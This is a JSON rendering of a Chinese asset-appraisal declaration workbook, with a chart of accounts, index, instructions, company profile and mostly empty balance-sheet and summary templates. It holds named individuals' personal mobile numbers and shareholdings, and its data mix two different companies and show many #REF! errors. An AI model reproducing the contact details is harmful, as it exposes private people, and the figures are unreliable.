{"text_format":"3","workbook":"xls","n_sheets":89,"sheets":["CDKOHS","会计科目表","索引目录","封面","填表说明","基本情况","资产负债表","审定数","1-汇总表","3-流动汇总","3-1货币汇总表","3-1-1现金","3-1-2银行存款","3-1-3其他货币资金","3-2交易性金融资产汇总","3-2-1交易性-股票","3-2-2交易性-债券","3-2-3交易性-基金","3-3应收票据","Sheet2","3-6应收利息","3-7应收股利","3-9存货汇总","3-9-1材料采购（在途物资）","3-9-2原材料","3-9-3在库周转材料","3-9-4委托加工物资","3-9-5产成品（库存商品）","3-9-6在产品（自制半成品）","3-9-7发出商品","3-9-8在用周转材料","3-10一年到期非流动资产","3-11其他流动资产","4-非流动资产汇总","4-1可供出售金融资产汇总","4-1-1可出售-股票","4-1-2可出售-债券","4-1-3可出售-其他","4-2持有到期投资","4-3长期应收","4-4股权投资","4-5投资性房地产汇总","4-5-1投资性房地产-房屋成本模式","4-5-2投资性房地产-房屋公允模式","4-5-3投资性房地产-土地成本模式","4-5-4投资性房地产-土地公允模式","4-6-1房屋建筑物","4-6-2构筑物","4-6-3管道沟槽","Sheet1","4-6-7土地","4-7在建工程汇总","4-7-1在建（土建）","4-7-2在建（设备）","4-8工程物资","4-9固定资产清理","4-10生产性生物资产","4-11油气资产","4-12无形资产汇总","4-12-1无形-土地","4-12-2无形-矿业权","与抵押担保协议一致设备明细","4-13开发支出","4-14商誉","4-15长期待摊费用","4-16递延所得税资产","4-17其他非流动资产","5流动负债汇总","5-1短期借款","5-2交易性金融负债","5-3应付票据","5-4应付账款","5-5预收账款","5-6职工薪酬","5-7应交税费","5-8应付利息","5-9应付股利（利润）","5-10其他应付款","5-11一年到期非流动负债","5-12其他流动负债","6-非流动负债汇总 ","6-1长期借款","6-2应付债券","6-3长期应付款","6-4专项应付款","6-5预计负债","6-6递延所得税负债","6-7其他非流动负债","00000000"],"not_rendered":{"external_links":4,"defined_names":160,"comments":162},"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"CDKOHS","index":0,"n_rows":0,"n_cols":0,"rows_kept":0,"hidden":true,"flags":["formulas_cached_only"]}

{"sheet":"会计科目表","index":1,"n_rows":56,"n_cols":6,"rows_kept":56,"hidden":true,"merged":[[0,0,0,5],[55,0,55,5]],"flags":["formulas_cached_only"]}
["新会计准则会计核算科目"]
[null," 科目","明细表",null," 科目","明细表"]
[1001,"库存现金","OK",1604,"在建工程","OK"]
[1002,"银行存款","OK",1605,"工程物资","OK"]
[1003,"存放中央银行款项","金",1606,"固定资产清理","OK"]
[1011,"存放同业","金",1611,"未担保余值","金"]
[1012,"其他货币资金","OK",1621,"生产性生物资产","OK"]
[1021,"结算备付金","金",1622,"生产性生物资产累计折旧","OK"]
[1031,"存出保证金","金",1623,"公益性生物资产","金"]
[1101,"交易性金融资产","OK",1631,"油气资产","OK"]
[1111,"买入返售金融资产","金",1632,"累计折耗","OK"]
[1121,"应收票据","OK",1701,"无形资产","OK"]
[1122,"应收账款","OK",1702,"累计摊销","OK"]
[1123,"预付账款","OK",1703,"无形资产减值准备","OK"]
[1131,"应收股利","OK",1711,"商誉","OK"]
[1132,"应收利息","OK",1801,"长期待摊费用","OK"]
[1201,"应收代位追偿款","金",1811,"递延所得税资产","OK"]
[1211,"应收分保账款","金",1821,"独立账户资产","金"]
[1212,"应收分保合同准备金","金",1901,"待处理财产损溢","金"]
[1221,"其他应收款","OK",2001,"短期借款","OK"]
[1231,"坏账准备","OK",2002,"存入保证金","金"]
[1301,"贴现资产","OK",2003,"拆入资金","金"]
[1302,"拆出资金","金",2004,"向中央银行借款","金"]
[1303,"贷款","金",2011,"吸收存款","金"]
[1304,"贷款损失准备","OK",2012,"同业存放","金"]
[1311,"代理兑付证券","OK",2021,"贴现负债","金"]
[1321,"代理业务资产","OK",2101,"交易性金融负债","OK"]
[1401,"材料采购","OK",2111,"卖出回购金融资产款","金"]
[1402,"在途物资","OK",2201,"应付票据","OK"]
[1403,"原材料","OK",2202,"应付账款","OK"]
[1404,"材料成本差异","OK",2203,"预收账款","OK"]
[1405,"库存商品","OK",2211,"应付职工薪酬","OK"]
[1406,"发出商品","OK",2221,"应交税费","OK"]
[1407,"商品进销差价","OK",2231,"应付利息","OK"]
[1408,"委托加工物资","OK",2232,"应付股利","OK"]
[1411,"周转材料","OK",2241,"其他应付款","OK"]
[1421,"消耗性生物资产","金",2251,"应付保单红利","金"]
[1431,"贵金属","金",2261,"应付分保账款","金"]
[1441,"抵债资产","金",2311,"代理买卖证券款","OK"]
[1451,"损余物资","金",2312,"代理承销证券款","OK"]
[1461,"融资租赁资产","金",2313,"代理兑付证券款","OK"]
[1471,"存货跌价准备","OK",2314,"代理业务负债","OK"]
[1501,"持有至到期投资","OK",2401,"递延收益","金"]
[1502,"持有至到期投资减值准备","OK",2501,"长期借款","OK"]
[1503,"可供出售金融资产","OK",2502,"应付债券","OK"]
[1511,"长期股权投资","OK",2601,"未到期责任准备金","金"]
[1512,"长期股权投资减值准备","OK",2602,"保险责任准备金","金"]
[1521,"投资性房地产","OK",2611,"保户储金","金"]
[1531,"长期应收款","OK",2621,"独立账户负债","金"]
[1532,"未实现融资收益","金",2701,"长期应付款","OK"]
[1541,"存出资本保证金","金",2702,"未确认融资费用","金"]
[1601,"固定资产","OK",2711,"专项应付款","OK"]
[1602,"累计折旧","OK",2801,"预计负债","OK"]
[1603,"固定资产减值准备","OK",2901,"递延所得税负债","OK"]
[]
["注：涂黄色部分为金融类。"]

{"sheet":"索引目录","index":2,"n_rows":58,"n_cols":9,"rows_kept":58,"hidden":true,"merged":[[2,1,2,2]],"flags":["formulas_cached_only"]}
["资产评估明细表索引目录"]
[null,"评估申报表封面"]
[null,"评估申报表说明（填表前请先阅读）"]
[null,"基本情况表","资产负债表","1-汇总表","2-分类汇总表"]
[]
[null,null,"3-流动资产","3-1货币资金","3-1-1货币资金-现金",null,"5-流动负债",null,"5-1短期借款"]
[{"$nulls":4},"3-1-2货币资金-银行存款",{"$nulls":3},"5-2交易性金融负债"]
[{"$nulls":4},"3-1-3货币资金-其他货币资金",{"$nulls":3},"5-3应付票据"]
[{"$nulls":3},"3-2交易性金融资产","3-2-1交易性-股票",{"$nulls":3},"5-4应付账款"]
[{"$nulls":4},"3-2-2交易性-债券",{"$nulls":3},"5-5预收款项"]
[{"$nulls":4},"3-2-3交易性-基金",{"$nulls":3},"5-6职工薪酬"]
[{"$nulls":3},"3-3应收票据",{"$nulls":4},"5-7应交税费"]
[{"$nulls":3},"3-4应收账款",{"$nulls":4},"5-8应付利息"]
[{"$nulls":3},"3-5预付账款",{"$nulls":4},"5-9应付股利（利润）"]
[{"$nulls":3},"3-6应收利息",{"$nulls":4},"5-10其他应付款"]
[{"$nulls":3},"3-7应收股利",{"$nulls":4},"5-11一年内到期的非流动负债"]
[{"$nulls":3},"3-8其他应收款",{"$nulls":4},"5-12其他流动负债"]
[{"$nulls":3},"3-9存货","3-9-1材料采购（在途物资）"]
[{"$nulls":4},"3-9-2原材料"]
[{"$nulls":4},"3-9-3在库周转材料",null,"6-非流动负债",null,"6-1长期借款"]
[{"$nulls":4},"3-9-4委托加工物资",{"$nulls":3},"6-2应付债券"]
[{"$nulls":4},"3-9-5产成品（库存商品）",{"$nulls":3},"6-3长期应付款"]
[{"$nulls":4},"3-9-6在产品（自制半成品）",{"$nulls":3},"6-4专项应付款"]
[{"$nulls":4},"3-9-7发出商品",{"$nulls":3},"6-5预计负债"]
[{"$nulls":4},"3-9-8在用周转材料",{"$nulls":3},"6-6递延所得税负债"]
[{"$nulls":3},"3-10一年到期非流动资产",{"$nulls":4},"6-7其他非流动负债"]
[{"$nulls":3},"3-11其他流动资产"]
[null,null,"4-非流动资产","4-1可供出售金融资产","4-1-1可供出售-股票"]
[{"$nulls":4},"4-1-2可供出售-债券"]
[{"$nulls":4},"4-1-3可供出售-其他"]
[{"$nulls":3},"4-2持有至到期投资"]
[{"$nulls":3},"4-3长期应收款"]
[{"$nulls":3},"4-4长期股权投资"]
[{"$nulls":3},"4-5投资性房地产","4-5-1投资性-房屋（成本模式）"]
[{"$nulls":4},"4-5-2投资性-房屋（公允模式）"]
[{"$nulls":4},"4-5-3投资性-土地（成本模式）"]
[{"$nulls":4},"4-5-4投资性-土地（公允模式）"]
[{"$nulls":3},"4-6固定资产","4-6-1房屋建筑物"]
[{"$nulls":4},"4-6-2构筑物"]
[{"$nulls":4},"4-6-3管道及沟槽"]
[{"$nulls":4},"4-6-4机器设备"]
[{"$nulls":4},"4-6-5车辆"]
[{"$nulls":4},"4-6-6电子设备"]
[{"$nulls":4},"4-6-7土地"]
[{"$nulls":3},"4-7在建工程","4-7-1在建工程-土建工程"]
[{"$nulls":4},"4-7-2在建工程-设备安装工程"]
[{"$nulls":3},"4-8工程物资"]
[{"$nulls":3},"4-9固定资产清理"]
[{"$nulls":3},"4-10生产性生物资产"]
[{"$nulls":3},"4-11油气资产"]
[{"$nulls":3},"4-12无形资产","4-12-1无形-土地使用权"]
[{"$nulls":4},"4-12-2无形-矿业权"]
[{"$nulls":4},"4-12-3无形-其他"]
[{"$nulls":3},"4-13开发支出"]
[{"$nulls":3},"4-14商誉"]
[{"$nulls":3},"4-15长期待摊费用"]
[{"$nulls":3},"4-16递延所得税资产"]
[{"$nulls":3},"4-17其他非流动资产"]

{"sheet":"封面","index":3,"n_rows":38,"n_cols":11,"rows_kept":38,"hidden":true,"merged":[[1,2,1,13],[2,2,40,2],[2,13,39,13],[5,3,5,4],[5,5,5,10],[6,4,6,12],[8,3,8,4],[8,14,8,15],[9,3,9,4],[9,5,9,11],[9,14,9,15],[10,3,10,4],[10,5,10,11],[10,14,10,15],[11,3,11,4],[11,5,11,11],[11,14,11,15],[12,3,12,4],[12,14,12,15],[13,3,13,4],[13,14,13,15],[14,3,14,4],[14,5,14,11],[14,14,14,15],[15,4,15,12],[17,4,17,12],[19,4,19,12],[21,4,21,12],[23,4,23,12],[25,4,25,12],[27,4,27,12],[29,4,29,12],[31,4,31,12],[33,4,33,12],[35,4,35,12],[37,4,37,12]],"flags":["formulas_cached_only"]}
["返回索引页"]
[]
[]
[{"$nulls":3},"资产评估明细表申报系统"]
[{"$nulls":3},"填表前请先阅读填表说明"]
[{"$nulls":3},"以下内容由企业填写"]
[{"$nulls":3},"产权持有人：","山东世拓利丰化学科技股份有限公司"]
[]
[{"$nulls":3},"评估基准日：",null,"2023","年","7","月","29","日"]
[]
[{"$nulls":3},"产权持有人填表人："]
[]
[{"$nulls":3},"填表日期：",null,null,"年",null,"月",null,"日"]
[]
[{"$nulls":3},"以下内容由评估机构填写"]
[{"$nulls":3},"项目负责人:","杨付翠"]
[]
[{"$nulls":3},"签字注册资产评估师:","杨付翠 乔彬"]
[]
[{"$nulls":3},"流 动 资 产 评估人员:"]
[]
[{"$nulls":3},"非流动资产汇总表人员："]
[{"$nulls":4},"c"]
[{"$nulls":3},"长期股权投资评估人员:"]
[]
[{"$nulls":3},"房   屋   类评估人员:"]
[]
[{"$nulls":3},"设   备   类评估人员:"]
[]
[{"$nulls":3},"土        地评估人员:"]
[]
[{"$nulls":3},"其他固定资产评估人员:"]
[]
[{"$nulls":3},"其他无形资产评估人员:"]
[]
[{"$nulls":3},"矿  业  权  评估人员："]
[]
[{"$nulls":3},"其他非流动资产评估人员:"]

{"sheet":"填表说明","index":4,"n_rows":29,"n_cols":8,"rows_kept":29,"hidden":true,"flags":["formulas_cached_only"]}
["评估明细表申报系统使用说明"]
["返回索引页"]
["1、","本工作簿用于资产评估委托方或资产占有方对评估基准日下的委估资产及负债的账面价值的申报；"]
[null,"填表人员只需填写封面信息及明细表部分中非评估值的列次，汇总表中只需填写涂黄色部分（准备）数据，"]
[]
["2、","填表人员在填表过程中请关注明细表下方的填表注释,按照注释要求进行填写。"]
[]
["3、","此表各科目明细表填写完毕后的合计数，应与本次资产评估范围内的资产评估基准日的资产负债表的数据相符；"]
[]
["3、","如有债权、债务性资产的未达、坏帐及实物性资产的毁损、报废等特别的事项应在相应备注栏中说明；"]
[]
["4、","明细表中如有日期档，除各明细表中有具体要求外，其格式应为“XXXX-XX”；"]
[null,"    例：“2000年09月10日”应填为“2000-09”"]
[null,"如无法确定具体月份，请将月份填为06月；"]
[null,"    例：“2000年”应填为“2000-06”"]
[null,"如为累计发生的业务，请将发生日期填为最后一笔业务的发生日期；"]
[null,"注意：各类固定资产的申报表的第一行中的单元格中的批注已经注明填表要求，请按照要求填写；"]
["5、","如明细表的行数不够时，请填表人员在首行的下一行及“合计”的上两行进行插入行，以免汇总表的公式链接被破坏。"]
[]
["6、","填表人可通过“索引目录”来选择要查看或修改的科目,通过“返回索引页”按纽可返回“选择目录”"]
[]
["7、","填表人可通过点击各汇总表中的“科目名称”进入各明细表，再通过点击各工作表左上角的“返回”来返回上一级科目表。"]
["8、","存货跌价准备在存货汇总表中填列。"]
["特别提示：","除以上要求企业填写的或按具体情况评估人员另作要求填写的档或项，企业不应对此套表的其它部分"]
[null,"作任何修改变动，谢谢合作！"]
[]
[null,"如有疑问请与我公司或我公司现场人员联系"]
[null,"联系电话：","010-85868816  ",null,"传真：","010－8586 8385",null,"Email："]
[{"$nulls":6},"本套明细表的所有汇总表都作了锁定保护，保护密码是：","admin"]

{"sheet":"基本情况","index":5,"n_rows":42,"n_cols":11,"rows_kept":42,"hidden":true,"merged":[[1,0,1,10],[2,0,2,10],[4,0,5,0],[4,2,4,6],[4,7,5,7],[4,8,5,8],[4,9,5,9],[4,10,5,10],[5,2,5,6],[6,1,6,4],[7,1,7,4],[8,5,8,6],[9,1,9,6],[10,9,10,10],[12,7,12,10],[13,0,14,6],[13,7,13,8],[13,9,13,10],[15,1,15,6],[16,1,16,6],[17,1,17,6],[18,1,18,6],[19,1,19,6],[20,1,20,6],[21,0,21,4],[21,5,21,7],[22,1,22,4],[22,5,22,7],[23,1,23,4],[23,5,23,7],[24,1,24,4],[24,5,24,7],[25,1,25,4],[25,5,25,7],[26,1,26,4],[26,5,26,7],[27,1,27,4],[27,5,27,7],[28,1,28,4],[28,5,28,7],[29,1,29,4],[29,5,29,7],[30,1,30,4],[30,5,30,7],[31,1,31,4],[31,5,31,7],[32,0,32,1],[32,2,32,10],[33,0,33,1],[33,2,33,10],[35,0,37,0],[35,2,35,4],[35,6,35,7],[35,9,35,10],[36,2,36,4],[36,6,36,7],[36,9,36,10],[37,2,37,4],[37,6,37,7],[37,9,37,10],[38,1,38,3],[38,6,38,10],[39,2,39,3],[39,4,39,5],[39,6,39,7],[40,2,40,3],[40,4,40,5],[40,6,40,7],[41,2,41,3],[41,4,41,5],[41,6,41,7]],"flags":["formulas_cached_only"]}
["返回索引页"]
["基本情况表(示例）"]
["评估基准日：2023年7月29日"]
["企业填写以下内容:",{"$nulls":9},"金额单位：人民币元"]
["被评估单位（产权持有单位）:","中文","唐山宇锋水泥有限责任公司",{"$nulls":4},"法定代表人","李文秀","手机",13513153268]
[null,"英文"]
["法定地址","唐山市丰润区刘家营乡刘家营村东",{"$nulls":3},"邮政编码","063030","总经理","李东","手机",15232619999]
["办公地址","唐山市丰润区刘家营乡刘家营村东",{"$nulls":3},"邮政编码","063030","财务负责人","刘雪冬","手机",13932521916]
["办公电话","0315-3111385","传真",null,"E-mail",null,null,"项目联系人","刘焕志","手机",13931563028]
["经营范围","水泥熟料及水泥、粒化高炉矿渣粉、干粉砂浆、水泥添加剂制造销售",{"$nulls":5},"注册日期","2002.07.11","经营期限","2002.07.11-2022.02.06"]
["经济性质","有限责任公司","总资产额",null,"营业收入",null,"主管工商机关","唐山市丰润区工商行政管理局","营业执照号码",130221000003235]
["所属行业","工业","净资产额",null,"税后利润",null,"主管税务机关","唐山市丰润区国家税务局、唐山市丰润区地方税务局","批准机关及证书号码","唐山市工商行政管理局丰润区分局","13020874019690X"]
["开业日期","2002.07.11","休假日",null,"财务结账日","30日","执行会计制度","企业会计制度"]
["前五名投资者（股东）名称",{"$nulls":6},"注册资本",null,"实收资本"]
[{"$nulls":7},"金额","出资比例","金额","出资比例"]
[1,"李文秀",{"$nulls":5},"5857.8万元",{"v":0.9012,"d":"90.12%"},"5857.8万元",{"v":0.9012,"d":"90.12%"}]
[2,"李文柱",{"$nulls":5},"508.6万元",{"v":0.0782,"d":"7.82%"},"508.6万元",{"v":0.0782,"d":"7.82%"}]
[3,"李文辉",{"$nulls":5},"133.6万元",{"v":0.0206,"d":"2.06%"},"133.6万元",{"v":0.0206,"d":"2.06%"}]
[4]
[5]
["合计"]
["主要长期投资单位（或异地分支机构）名称",{"$nulls":4},"地址",null,null,"注册资金","持股比例","核算方式"]
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
["前注册会计师审计结论"]
["前评估情况"]
["评估机构填写以下内容:"]
["委托项目","类别",{"$nulls":3},"项目编号",null,null,"作业日期"]
[null,"目的",{"$nulls":3},"报告编号",null,null,"填表日期"]
[null,"范围",{"$nulls":3},"项目负责人：",{"$error":"#REF!"},null,"法定代表人："]
["评估机构：",{"$nulls":4},"签字注册资产评估师：",{"$error":"#REF!"}]
[null,null,"流动资产",null,"设备",null,"房屋",null,"土地","无形资产"]
["被评估单位填表人:",{"$error":"#REF!"}]
["评估人员:"]

{"sheet":"资产负债表","index":6,"n_rows":40,"n_cols":10,"rows_kept":40,"hidden":true,"merged":[[1,0,1,9],[2,0,2,9],[3,0,3,2]],"flags":["formulas_cached_only"]}
["返回索引页"]
["资产负债表"]
["2023年7月29日"]
["编制单位:山东世拓利丰化学科技股份有限公司",{"$nulls":8},"金额单位：人民币元"]
["资产","序号","期初数","期末数","备注","负债及所有者权益","序号","期初数","期末数","备注"]
["流动资产：",1,{"$nulls":3},"流动负债：",34]
["货币资金",2,{"$nulls":3},"短期借款",35]
["交易性金融资产",3,{"$nulls":3},"交易性金融负债",36]
["应收票据",4,{"$nulls":3},"应付票据",37]
["应收账款",5,{"$nulls":3},"应付账款",38]
["预付款项",6,{"$nulls":3},"预收款项",39]
["应收利息",7,{"$nulls":3},"应付职工薪酬",40]
["应收股利",8,{"$nulls":3},"应交税费",41]
["其他应收款",9,{"$nulls":3},"应付利息",42]
["存货",10,{"$nulls":3},"应付股利",43]
["一年内到期的非流动资产",11,{"$nulls":3},"其他应付款",44]
["其他流动资产",12,{"$nulls":3},"一年内到期的非流动负债",45]
["流动资产合计",13,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},null,"其他流动负债",46]
["非流动资产：",14,{"$nulls":3},"流动负债合计",47,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["可供出售金融资产",15,{"$nulls":3},"非流动负债：",48]
["持有至到期投资",16,{"$nulls":3},"长期借款",49]
["长期应收款",17,{"$nulls":3},"应付债券",50]
["长期股权投资",18,{"$nulls":3},"长期应付款",51]
["投资性房地产",19,{"$nulls":3},"专项应付款",52]
["固定资产",20,{"$nulls":3},"预计负债",53]
["在建工程",21,{"$nulls":3},"递延所得税负债",54]
["工程物资",22,{"$nulls":3},"其他非流动负债",55]
["固定资产清理",23,{"$nulls":3},"非流动负债合计",56,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["生产性生物资产",24,{"$nulls":3},"负债合计",57,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["油气资产",25,{"$nulls":3},"所有者权益：",58]
["无形资产",26,{"$nulls":3},"实收资本",59]
["开发支出",27,{"$nulls":3},"资本公积",60]
["商誉",28,{"$nulls":3},"减：库存股",61]
["长期待摊费用",29,{"$nulls":3},"盈余公积",62]
["递延所得税资产",30,{"$nulls":3},"未分配利润",63]
["其他非流动资产",31,{"$nulls":3},"所有者权益合计",64,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["非流动资产合计",32,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["资产总计",33,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},null,"负债及所有者权益合计",65,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
[{"$nulls":5},"与总资产相差",66,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
[null,null,"填表人： ",null,"财务主管：","刘雪冬",null,"负责人：","李文秀"]

{"sheet":"审定数","index":7,"n_rows":1,"n_cols":2,"rows_kept":1,"hidden":true,"flags":["formulas_cached_only"]}
["科目","金额"]

{"sheet":"1-汇总表","index":8,"n_rows":35,"n_cols":9,"rows_kept":35,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6],[5,0,6,1]],"flags":["formulas_cached_only"]}
["返回索引页"]
["资  产  评  估  结  果  汇  总  表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币万元"]
["项            目",null,"审计前账面值","账面价值","评估价值","增减值","增值率％"]
[{"$nulls":3},"A","B","C=B-A","D=C/A×100%"]
[1,"流动资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[2,"非流动资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[3,"其中：可供出售金融资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[4,"      持有至到期投资",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[5,"      长期应收款",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[6,"      长期股权投资",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[7,"      投资性房地产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[8,"      固定资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[9,"      在建工程",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[10,"      工程物资",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[11,"      固定资产清理",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[12,"      生产性生物资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[13,"      油气资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[14,"      无形资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[15,"      开发支出",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[16,"      商誉",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[17,"      长期待摊费用",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[18,"      递延所得税资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[19,"      其他非流动资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[20,"资产总计",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[21,"流动负债",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[22,"非流动负债",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[23,"负债合计",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
[24,"净资产（所有者权益）",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["评估机构："]
[]
[{"$nulls":8},"\u001b"]
[{"$nulls":8},"\u0003\u0003"]

{"sheet":"3-流动汇总","index":9,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[1,0,1,8],[2,0,2,8],[5,1,5,3],[6,1,6,3],[7,1,7,3],[8,1,8,3],[9,1,9,3],[10,1,10,3],[11,1,11,3],[12,1,12,3],[13,1,13,3],[14,1,14,3],[15,1,15,3],[16,1,16,3],[17,1,17,3],[18,1,18,3],[19,1,19,3],[20,1,20,3],[21,1,21,3],[22,1,22,3],[23,1,23,3],[24,1,24,3],[25,1,25,3],[26,1,26,3],[27,1,27,3]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["流动资产评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":8},"表3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"金额单位：人民币元"]
["编号","科目名称",null,null,"审计前账面值","账面价值","评估价值","增减值","增值率%"]
["3-1","货币资金","存款","他币）",0,0,0,0,""]
["3-2","交易性金融资产",null,null,0,0,0,0,""]
["3-3","应收票据",null,null,0,0,0,0,""]
["3-4","应收账款",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["3-5","预付账款",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["3-6","应收利息",null,null,0,0,0,0,""]
["3-7","应收股利",null,null,0,0,0,0,""]
["3-8","其他应收款",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["3-9","存货",null,null,0,0,0,0,""]
["3-10","一年内到期的非流动资产",null,null,0,0,0,0,""]
["3-11","其他流动资产",null,null,0,0,0,0,""]
{"$rows_empty":10}
[3,"流动资产合计",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-1货币汇总表","index":10,"n_rows":29,"n_cols":8,"rows_kept":29,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[3,6,3,7],[4,6,4,7],[26,0,26,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["货币资金评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表3-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
["3-1-1","现金",0,0,0,0,""]
["3-1-2","银行存款",0,0,0,0,""]
["3-1-3","其他货币资金",0,0,0,0,""]
{"$rows_empty":17}
["合     计",null,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-1-1现金","index":11,"n_rows":35,"n_cols":11,"rows_kept":35,"hidden":true,"merged":[[1,0,1,9],[2,0,2,9],[32,0,32,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["货币资金—现金评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":10},"表3-1-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","存放部门（单位)","币种","外币账面金额","评估基准日汇率","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":8},"",""]
[]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[]
[]
[]
[]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},"",""]
[{"$nulls":8},""]
["合         计",{"$nulls":4},0,0,0,0]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-1-2银行存款","index":12,"n_rows":31,"n_cols":12,"rows_kept":31,"hidden":true,"merged":[[1,0,1,10],[2,0,2,10],[28,0,28,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["货币资金—银行存款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表3-1-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","开户银行",null,"币种","外币账面金额","评估基准日汇率","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[null,"中国农业银行股份有限公司莱芜钢都支行",1.56802010400014e+16,{"$nulls":6},"",""]
[null,"莱商银行股份有限公司汇鑫支行",1.56802010400014e+16,{"$nulls":6},"",""]
[null,"中国建设银行股份有限公司莱钢支行",1.56802010400014e+16,{"$nulls":6},"",""]
[null,"山东莱芜农村商业银行股份有限公司里辛支行",1.56802010400014e+16,{"$nulls":6},"",""]
[null,"中国工商银行股份有限公司莱芜钢城支行",1.56802010400014e+16,{"$nulls":6},"",""]
